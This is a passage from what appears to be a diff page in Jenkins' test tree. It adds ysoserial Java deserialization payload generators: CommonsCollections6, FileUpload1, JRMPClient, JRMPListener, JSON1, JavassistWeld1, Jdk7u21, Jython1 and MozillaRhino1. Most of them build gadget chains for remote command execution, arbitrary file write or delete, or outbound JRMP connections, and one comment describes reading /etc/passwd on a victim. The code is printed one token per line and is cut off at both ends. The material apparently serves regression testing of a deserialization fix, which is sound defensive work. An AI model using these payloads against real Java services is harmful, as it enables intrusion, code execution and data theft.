(
innerMap
,
transformerChain
);
TiedMapEntry
entry
=
new
TiedMapEntry
(
lazyMap
,
"foo"
);
HashSet
map
=
new
HashSet
(
1
);
map
.
add
(
"foo"
);
Field
f
=
null
;
try
{
f
=
HashSet
.
class
.
getDeclaredField
(
"map"
);
}
catch
(
NoSuchFieldException
e
)
{
f
=
HashSet
.
class
.
getDeclaredField
(
"backingMap"
);
}
f
.
setAccessible
(
true
);
HashMap
innimpl
=
(
HashMap
)
f
.
get
(
map
);
Field
f2
=
null
;
try
{
f2
=
HashMap
.
class
.
getDeclaredField
(
"table"
);
}
catch
(
NoSuchFieldException
e
)
{
f2
=
HashMap
.
class
.
getDeclaredField
(
"elementData"
);
}
f2
.
setAccessible
(
true
);
Object
[]
array
=
(
Object
[])
f2
.
get
(
innimpl
);
Object
node
=
array
[
0
];
if
(
node
==
null
){
node
=
array
[
1
];
}
Field
keyField
=
null
;
try
{
keyField
=
node
.
getClass
().
getDeclaredField
(
"key"
);
}
catch
(
Exception
e
){
keyField
=
Class
.
forName
(
"java.util.MapEntry"
).
getDeclaredField
(
"key"
);
}
keyField
.
setAccessible
(
true
);
keyField
.
set
(
node
,
entry
);
return
map
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
CommonsCollections6
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
/**
* @author mbechler
*
*/
public
interface
DynamicDependencies
{
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.io.File
;
import
java.io.IOException
;
import
java.io.OutputStream
;
import
java.util.Arrays
;
import
org.apache.commons.codec.binary.Base64
;
import
org.apache.commons.fileupload.disk.DiskFileItem
;
import
org.apache.commons.io.output.DeferredFileOutputStream
;
import
org.apache.commons.io.output.ThresholdingOutputStream
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/
@Dependencies
(
{
"commons-fileupload:commons-fileupload:1.3.1"
,
"commons-io:commons-io:2.4"
}
)
@PayloadTest
(
harness
=
"ysoserial.payloads.FileUploadTest"
)
public
class
FileUpload1
implements
ReleaseableObjectPayload
<
DiskFileItem
>
{
public
DiskFileItem
getObject
(
String
command
)
throws
Exception
{
String
[]
parts
=
command
.
split
(
";"
);
if
(
parts
.
length
==
3
&&
"copyAndDelete"
.
equals
(
parts
[
0
])
)
{
return
copyAndDelete
(
parts
[
1
],
parts
[
2
]);
}
else
if
(
parts
.
length
==
3
&&
"write"
.
equals
(
parts
[
0
])
)
{
return
write
(
parts
[
1
],
parts
[
2
].
getBytes
(
"US-ASCII"
));
}
else
if
(
parts
.
length
==
3
&&
"writeB64"
.
equals
(
parts
[
0
])
)
{
return
write
(
parts
[
1
],
Base64
.
decodeBase64
(
parts
[
2
]));
}
else
if
(
parts
.
length
==
3
&&
"writeOld"
.
equals
(
parts
[
0
])
)
{
return
writePre131
(
parts
[
1
],
parts
[
2
].
getBytes
(
"US-ASCII"
));
}
else
if
(
parts
.
length
==
3
&&
"writeOldB64"
.
equals
(
parts
[
0
])
)
{
return
writePre131
(
parts
[
1
],
Base64
.
decodeBase64
(
parts
[
2
]));
}
else
{
throw
new
IllegalArgumentException
(
"Unsupported command "
+
command
+
" "
+
Arrays
.
toString
(
parts
));
}
}
public
void
release
(
DiskFileItem
obj
)
throws
Exception
{
// otherwise the finalizer deletes the file
DeferredFileOutputStream
dfos
=
new
DeferredFileOutputStream
(
0
,
null
);
Reflections
.
setFieldValue
(
obj
,
"dfos"
,
dfos
);
}
private
static
DiskFileItem
copyAndDelete
(
String
copyAndDelete
,
String
copyTo
)
throws
IOException
,
Exception
{
return
makePayload
(
0
,
copyTo
,
copyAndDelete
,
new
byte
[
1
]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private
static
DiskFileItem
write
(
String
dir
,
byte
[]
data
)
throws
IOException
,
Exception
{
return
makePayload
(
data
.
length
+
1
,
dir
,
dir
+
"/whatever"
,
data
);
}
// writes data to an arbitrary file
private
static
DiskFileItem
writePre131
(
String
file
,
byte
[]
data
)
throws
IOException
,
Exception
{
return
makePayload
(
data
.
length
+
1
,
file
+
"\0"
,
file
,
data
);
}
private
static
DiskFileItem
makePayload
(
int
thresh
,
String
repoPath
,
String
filePath
,
byte
[]
data
)
throws
IOException
,
Exception
{
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File
repository
=
new
File
(
repoPath
);
DiskFileItem
diskFileItem
=
new
DiskFileItem
(
"test"
,
"application/octet-stream"
,
false
,
"test"
,
100000
,
repository
);
File
outputFile
=
new
File
(
filePath
);
DeferredFileOutputStream
dfos
=
new
DeferredFileOutputStream
(
thresh
,
outputFile
);
OutputStream
os
=
(
OutputStream
)
Reflections
.
getFieldValue
(
dfos
,
"memoryOutputStream"
);
os
.
write
(
data
);
Reflections
.
getField
(
ThresholdingOutputStream
.
class
,
"written"
).
set
(
dfos
,
data
.
length
);
Reflections
.
setFieldValue
(
diskFileItem
,
"dfos"
,
dfos
);
Reflections
.
setFieldValue
(
diskFileItem
,
"sizeThreshold"
,
0
);
return
diskFileItem
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
FileUpload1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.Proxy
;
import
java.rmi.registry.Registry
;
import
java.rmi.server.ObjID
;
import
java.rmi.server.RemoteObjectInvocationHandler
;
import
java.util.Random
;
import
sun.rmi.server.UnicastRef
;
import
sun.rmi.transport.LiveRef
;
import
sun.rmi.transport.tcp.TCPEndpoint
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings
(
{
"restriction"
}
)
@PayloadTest
(
harness
=
"ysoserial.payloads.JRMPReverseConnectSMTest"
)
public
class
JRMPClient
extends
PayloadRunner
implements
ObjectPayload
<
Registry
>
{
public
Registry
getObject
(
final
String
command
)
throws
Exception
{
String
host
;
int
port
;
int
sep
=
command
.
indexOf
(
':'
);
if
(
sep
<
0
)
{
port
=
new
Random
().
nextInt
(
65535
);
host
=
command
;
}
else
{
host
=
command
.
substring
(
0
,
sep
);
port
=
Integer
.
valueOf
(
command
.
substring
(
sep
+
1
));
}
ObjID
id
=
new
ObjID
(
new
Random
().
nextInt
());
// RMI registry
TCPEndpoint
te
=
new
TCPEndpoint
(
host
,
port
);
UnicastRef
ref
=
new
UnicastRef
(
new
LiveRef
(
id
,
te
,
false
));
RemoteObjectInvocationHandler
obj
=
new
RemoteObjectInvocationHandler
(
ref
);
Registry
proxy
=
(
Registry
)
Proxy
.
newProxyInstance
(
JRMPClient
.
class
.
getClassLoader
(),
new
Class
[]
{
Registry
.
class
},
obj
);
return
proxy
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
Thread
.
currentThread
().
setContextClassLoader
(
JRMPClient
.
class
.
getClassLoader
());
PayloadRunner
.
run
(
JRMPClient
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.rmi.server.RemoteObject
;
import
java.rmi.server.RemoteRef
;
import
java.rmi.server.UnicastRemoteObject
;
import
sun.rmi.server.ActivationGroupImpl
;
import
sun.rmi.server.UnicastServerRef
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings
(
{
"restriction"
}
)
@PayloadTest
(
skip
=
"This test would make you potentially vulnerable"
)
public
class
JRMPListener
extends
PayloadRunner
implements
ObjectPayload
<
UnicastRemoteObject
>
{
public
UnicastRemoteObject
getObject
(
final
String
command
)
throws
Exception
{
int
jrmpPort
=
Integer
.
parseInt
(
command
);
UnicastRemoteObject
uro
=
Reflections
.
createWithConstructor
(
ActivationGroupImpl
.
class
,
RemoteObject
.
class
,
new
Class
[]
{
RemoteRef
.
class
},
new
Object
[]
{
new
UnicastServerRef
(
jrmpPort
)
});
Reflections
.
getField
(
UnicastRemoteObject
.
class
,
"port"
).
set
(
uro
,
jrmpPort
);
return
uro
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
JRMPListener
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.InvocationTargetException
;
import
java.util.HashMap
;
import
java.util.Map
;
import
javax.management.openmbean.CompositeData
;
import
javax.management.openmbean.CompositeType
;
import
javax.management.openmbean.OpenDataException
;
import
javax.management.openmbean.OpenType
;
import
javax.management.openmbean.TabularDataSupport
;
import
javax.management.openmbean.TabularType
;
import
javax.xml.transform.Templates
;
import
org.springframework.aop.framework.AdvisedSupport
;
import
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
;
import
net.sf.json.JSONObject
;
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@SuppressWarnings
(
{
"rawtypes"
,
"unchecked"
,
"restriction"
}
)
@Dependencies
(
{
"net.sf.json-lib:json-lib:jar:jdk15:2.4"
,
"org.springframework:spring-aop:4.1.4.RELEASE"
,
// deep deps
"aopalliance:aopalliance:1.0"
,
"commons-logging:commons-logging:1.2"
,
"commons-lang:commons-lang:2.6"
,
"net.sf.ezmorph:ezmorph:1.0.6"
,
"commons-beanutils:commons-beanutils:1.9.2"
,
"org.springframework:spring-core:4.1.4.RELEASE"
,
"commons-collections:commons-collections:3.1"
}
)
public
class
JSON1
implements
ObjectPayload
<
Object
>
{
public
Map
getObject
(
String
command
)
throws
Exception
{
return
makeCallerChain
(
Gadgets
.
createTemplatesImpl
(
command
),
Templates
.
class
);
}
/**
* Will call all getter methods on payload that are defined in the given interfaces
*/
public
static
Map
makeCallerChain
(
Object
payload
,
Class
...
ifaces
)
throws
OpenDataException
,
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
,
Exception
,
ClassNotFoundException
{
CompositeType
rt
=
new
CompositeType
(
"a"
,
"b"
,
new
String
[]
{
"a"
},
new
String
[]
{
"a"
},
new
OpenType
[]
{
javax
.
management
.
openmbean
.
SimpleType
.
INTEGER
});
TabularType
tt
=
new
TabularType
(
"a"
,
"b"
,
rt
,
new
String
[]
{
"a"
});
TabularDataSupport
t1
=
new
TabularDataSupport
(
tt
);
TabularDataSupport
t2
=
new
TabularDataSupport
(
tt
);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport
as
=
new
AdvisedSupport
();
as
.
setTarget
(
payload
);
InvocationHandler
delegateInvocationHandler
=
(
InvocationHandler
)
Reflections
.
getFirstCtor
(
"org.springframework.aop.framework.JdkDynamicAopProxy"
).
newInstance
(
as
);
InvocationHandler
cdsInvocationHandler
=
Gadgets
.
createMemoizedInvocationHandler
(
Gadgets
.
createMap
(
"getCompositeType"
,
rt
));
CompositeInvocationHandlerImpl
invocationHandler
=
new
CompositeInvocationHandlerImpl
();
invocationHandler
.
addInvocationHandler
(
CompositeData
.
class
,
cdsInvocationHandler
);
invocationHandler
.
setDefaultHandler
(
delegateInvocationHandler
);
final
CompositeData
cdsProxy
=
Gadgets
.
createProxy
(
invocationHandler
,
CompositeData
.
class
,
ifaces
);
JSONObject
jo
=
new
JSONObject
();
Map
m
=
new
HashMap
();
m
.
put
(
"t"
,
cdsProxy
);
Reflections
.
setFieldValue
(
jo
,
"properties"
,
m
);
Reflections
.
setFieldValue
(
jo
,
"properties"
,
m
);
Reflections
.
setFieldValue
(
t1
,
"dataMap"
,
jo
);
Reflections
.
setFieldValue
(
t2
,
"dataMap"
,
jo
);
return
Gadgets
.
makeMap
(
t1
,
t2
);
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
JSON1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
;
import
org.jboss.weld.interceptor.builder.InterceptionModelBuilder
;
import
org.jboss.weld.interceptor.builder.MethodReference
;
import
org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory
;
import
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
;
import
org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference
;
import
org.jboss.weld.interceptor.reader.DefaultMethodMetadata
;
import
org.jboss.weld.interceptor.reader.ReflectiveClassMetadata
;
import
org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata
;
import
org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator
;
import
org.jboss.weld.interceptor.spi.metadata.InterceptorReference
;
import
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
;
import
org.jboss.weld.interceptor.spi.model.InterceptionModel
;
import
org.jboss.weld.interceptor.spi.model.InterceptionType
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
java.lang.reflect.Constructor
;
import
java.util.*
;
/*
by @matthias_kaiser
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"javassist:javassist:3.12.1.GA"
,
"org.jboss.weld:weld-core:1.1.33.Final"
,
"javax.enterprise:cdi-api:1.0-SP1"
,
"javax.interceptor:javax.interceptor-api:3.1"
,
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final"
,
"org.slf4j:slf4j-api:1.7.21"
})
public
class
JavassistWeld1
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
final
Object
gadget
=
Gadgets
.
createTemplatesImpl
(
command
);
InterceptionModelBuilder
builder
=
InterceptionModelBuilder
.
newBuilderFor
(
HashMap
.
class
);
ReflectiveClassMetadata
metadata
=
(
ReflectiveClassMetadata
)
ReflectiveClassMetadata
.
of
(
HashMap
.
class
);
InterceptorReference
interceptorReference
=
ClassMetadataInterceptorReference
.
of
(
metadata
);
Set
<
InterceptionType
>
s
=
new
HashSet
<
InterceptionType
>();
s
.
add
(
org
.
jboss
.
weld
.
interceptor
.
spi
.
model
.
InterceptionType
.
POST_ACTIVATE
);
Constructor
defaultMethodMetadataConstructor
=
DefaultMethodMetadata
.
class
.
getDeclaredConstructor
(
Set
.
class
,
MethodReference
.
class
);
defaultMethodMetadataConstructor
.
setAccessible
(
true
);
MethodMetadata
methodMetadata
=
(
MethodMetadata
)
defaultMethodMetadataConstructor
.
newInstance
(
s
,
MethodReference
.
of
(
TemplatesImpl
.
class
.
getMethod
(
"newTransformer"
),
true
));
List
list
=
new
ArrayList
();
list
.
add
(
methodMetadata
);
Map
<
org
.
jboss
.
weld
.
interceptor
.
spi
.
model
.
InterceptionType
,
List
<
MethodMetadata
>>
hashMap
=
new
HashMap
<
org
.
jboss
.
weld
.
interceptor
.
spi
.
model
.
InterceptionType
,
List
<
MethodMetadata
>>();
hashMap
.
put
(
org
.
jboss
.
weld
.
interceptor
.
spi
.
model
.
InterceptionType
.
POST_ACTIVATE
,
list
);
SimpleInterceptorMetadata
simpleInterceptorMetadata
=
new
SimpleInterceptorMetadata
(
interceptorReference
,
true
,
hashMap
);
builder
.
interceptAll
().
with
(
simpleInterceptorMetadata
);
InterceptionModel
model
=
builder
.
build
();
HashMap
map
=
new
HashMap
();
map
.
put
(
"ysoserial"
,
"ysoserial"
);
DefaultInvocationContextFactory
factory
=
new
DefaultInvocationContextFactory
();
InterceptorInstantiator
interceptorInstantiator
=
new
InterceptorInstantiator
()
{
public
Object
createFor
(
InterceptorReference
paramInterceptorReference
)
{
return
gadget
;
}
};
return
new
InterceptorMethodHandler
(
map
,
metadata
,
model
,
interceptorInstantiator
,
factory
);
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
JavassistWeld1
.
class
,
args
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.InvocationHandler
;
import
java.util.HashMap
;
import
java.util.LinkedHashSet
;
import
javax.xml.transform.Templates
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.JavaVersion
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
()
@PayloadTest
(
precondition
=
"isApplicableJavaVersion"
)
public
class
Jdk7u21
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
final
Object
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
String
zeroHashCodeStr
=
"f5a5a608"
;
HashMap
map
=
new
HashMap
();
map
.
put
(
zeroHashCodeStr
,
"foo"
);
InvocationHandler
tempHandler
=
(
InvocationHandler
)
Reflections
.
getFirstCtor
(
Gadgets
.
ANN_INV_HANDLER_CLASS
).
newInstance
(
Override
.
class
,
map
);
Reflections
.
setFieldValue
(
tempHandler
,
"type"
,
Templates
.
class
);
Templates
proxy
=
Gadgets
.
createProxy
(
tempHandler
,
Templates
.
class
);
LinkedHashSet
set
=
new
LinkedHashSet
();
// maintain order
set
.
add
(
templates
);
set
.
add
(
proxy
);
Reflections
.
setFieldValue
(
templates
,
"_auxClasses"
,
null
);
Reflections
.
setFieldValue
(
templates
,
"_class"
,
null
);
map
.
put
(
zeroHashCodeStr
,
templates
);
// swap in real object
return
set
;
}
public
static
boolean
isApplicableJavaVersion
()
{
JavaVersion
v
=
JavaVersion
.
getLocalVersion
();
return
v
!=
null
&&
(
v
.
major
<
7
||
(
v
.
major
==
7
&&
v
.
update
<=
21
));
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Jdk7u21
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
org.apache.commons.io.FileUtils
;
import
org.python.core.*
;
import
java.math.BigInteger
;
import
java.io.File
;
import
java.lang.reflect.Proxy
;
import
java.util.Arrays
;
import
java.util.Comparator
;
import
java.util.PriorityQueue
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
*
* <local path>;<remote path>
*
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
*
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
*
* In the above example, if "read_etc_passwd.py" simply contained the string:
*
* raise Exception(open('/etc/passwd', 'r').read())
*
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@PayloadTest
(
skip
=
"non RCE"
)
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
,
"restriction"
})
@Dependencies
({
"org.python:jython-standalone:2.5.2"
})
public
class
Jython1
extends
PayloadRunner
implements
ObjectPayload
<
PriorityQueue
>
{
public
PriorityQueue
getObject
(
String
command
)
throws
Exception
{
String
[]
paths
=
command
.
split
(
";"
);
if
(
paths
.
length
!=
2
)
{
throw
new
IllegalArgumentException
(
"Unsupported command "
+
command
+
" "
+
Arrays
.
toString
(
paths
));
}
// Set payload parameters
String
python_code
=
FileUtils
.
readFileToString
(
new
File
(
paths
[
0
]),
"UTF-8"
);
// Python bytecode to write a file on disk and execute it
String
code
=
"740000"
+
//0 LOAD_GLOBAL 0 (open)
"640100"
+
//3 LOAD_CONST 1 (remote path)
"640200"
+
//6 LOAD_CONST 2 ('w+')
"830200"
+
//9 CALL_FUNCTION 2
"7D0000"
+
//12 STORE_FAST 0 (file)
"7C0000"
+
//15 LOAD_FAST 0 (file)
"690100"
+
//18 LOAD_ATTR 1 (write)
"640300"
+
//21 LOAD_CONST 3 (python code)
"830100"
+
//24 CALL_FUNCTION 1
"01"
+
//27 POP_TOP
"7C0000"
+
//28 LOAD_FAST 0 (file)
"690200"
+
//31 LOAD_ATTR 2 (close)
"830000"
+
//34 CALL_FUNCTION 0
"01"
+
//37 POP_TOP
"740300"
+
//38 LOAD_GLOBAL 3 (execfile)
"640100"
+
//41 LOAD_CONST 1 (remote path)
"830100"
+
//44 CALL_FUNCTION 1
"01"
+
//47 POP_TOP
"640000"
+
//48 LOAD_CONST 0 (None)
"53"
;
//51 RETURN_VALUE
// Helping consts and names
PyObject
[]
consts
=
new
PyObject
[]{
new
PyString
(
""
),
new
PyString
(
paths
[
1
]),
new
PyString
(
"w+"
),
new
PyString
(
python_code
)};
String
[]
names
=
new
String
[]{
"open"
,
"write"
,
"close"
,
"execfile"
};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode
codeobj
=
new
PyBytecode
(
2
,
2
,
10
,
64
,
""
,
consts
,
names
,
new
String
[]{
""
,
""
},
"noname"
,
"<module>"
,
0
,
""
);
Reflections
.
setFieldValue
(
codeobj
,
"co_code"
,
new
BigInteger
(
code
,
16
).
toByteArray
());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction
handler
=
new
PyFunction
(
new
PyStringMap
(),
null
,
codeobj
);
// Prepare Trigger Gadget
Comparator
comparator
=
(
Comparator
)
Proxy
.
newProxyInstance
(
Comparator
.
class
.
getClassLoader
(),
new
Class
<?>[]{
Comparator
.
class
},
handler
);
PriorityQueue
<
Object
>
priorityQueue
=
new
PriorityQueue
<
Object
>(
2
,
comparator
);
Object
[]
queue
=
new
Object
[]
{
1
,
1
};
Reflections
.
setFieldValue
(
priorityQueue
,
"queue"
,
queue
);
Reflections
.
setFieldValue
(
priorityQueue
,
"size"
,
2
);
return
priorityQueue
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Jython1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
;
import
org.mozilla.javascript.*
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
javax.management.BadAttributeValueExpException
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.Field
;
import
java.lang.reflect.Method
;
/*
by @matthias_kaiser
*/
@SuppressWarnings
({
"rawtypes"
,
"unchecked"
})
@Dependencies
({
"rhino:js:1.7R2"
})
public
class
MozillaRhino1
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
Class
nativeErrorClass
=
Class
.
forName
(
"org.mozilla.javascript.NativeError"
);
Constructor
nativeErrorConstructor
=
nativeErrorClass
.
getDeclaredConstructor
();
nativeErrorConstructor
.
setAccessible
(
true
);
IdScriptableObject
idScriptableObject
=
(
IdScriptableObject
)
nativeErrorConstructor
.
newInstance
();
Context
context
=
Context
.
enter
();
NativeObject
scriptableObject
=
(
NativeObject
)
context
.
initStandardObjects
();
Method
enterMethod
=
Context
.
class
.
getDeclaredMethod
(
"enter"
);
NativeJavaMethod
method
=
new
NativeJavaMethod
(
enterMethod
,
"name"
);
idScriptableObject
.
setGetterOrSetter
(
"name"
,
0
,
method
,
false
);
Method
newTransformer
=
TemplatesImpl
.
class
.
getDeclaredMethod
(
"newTransformer"
);
NativeJavaMethod
nativeJavaMethod
=
new
NativeJavaMethod
(
newTransformer
,
"message"
);
idScriptableObject
.
setGetterOrSetter
(
"message"
,
0
,
nativeJavaMethod
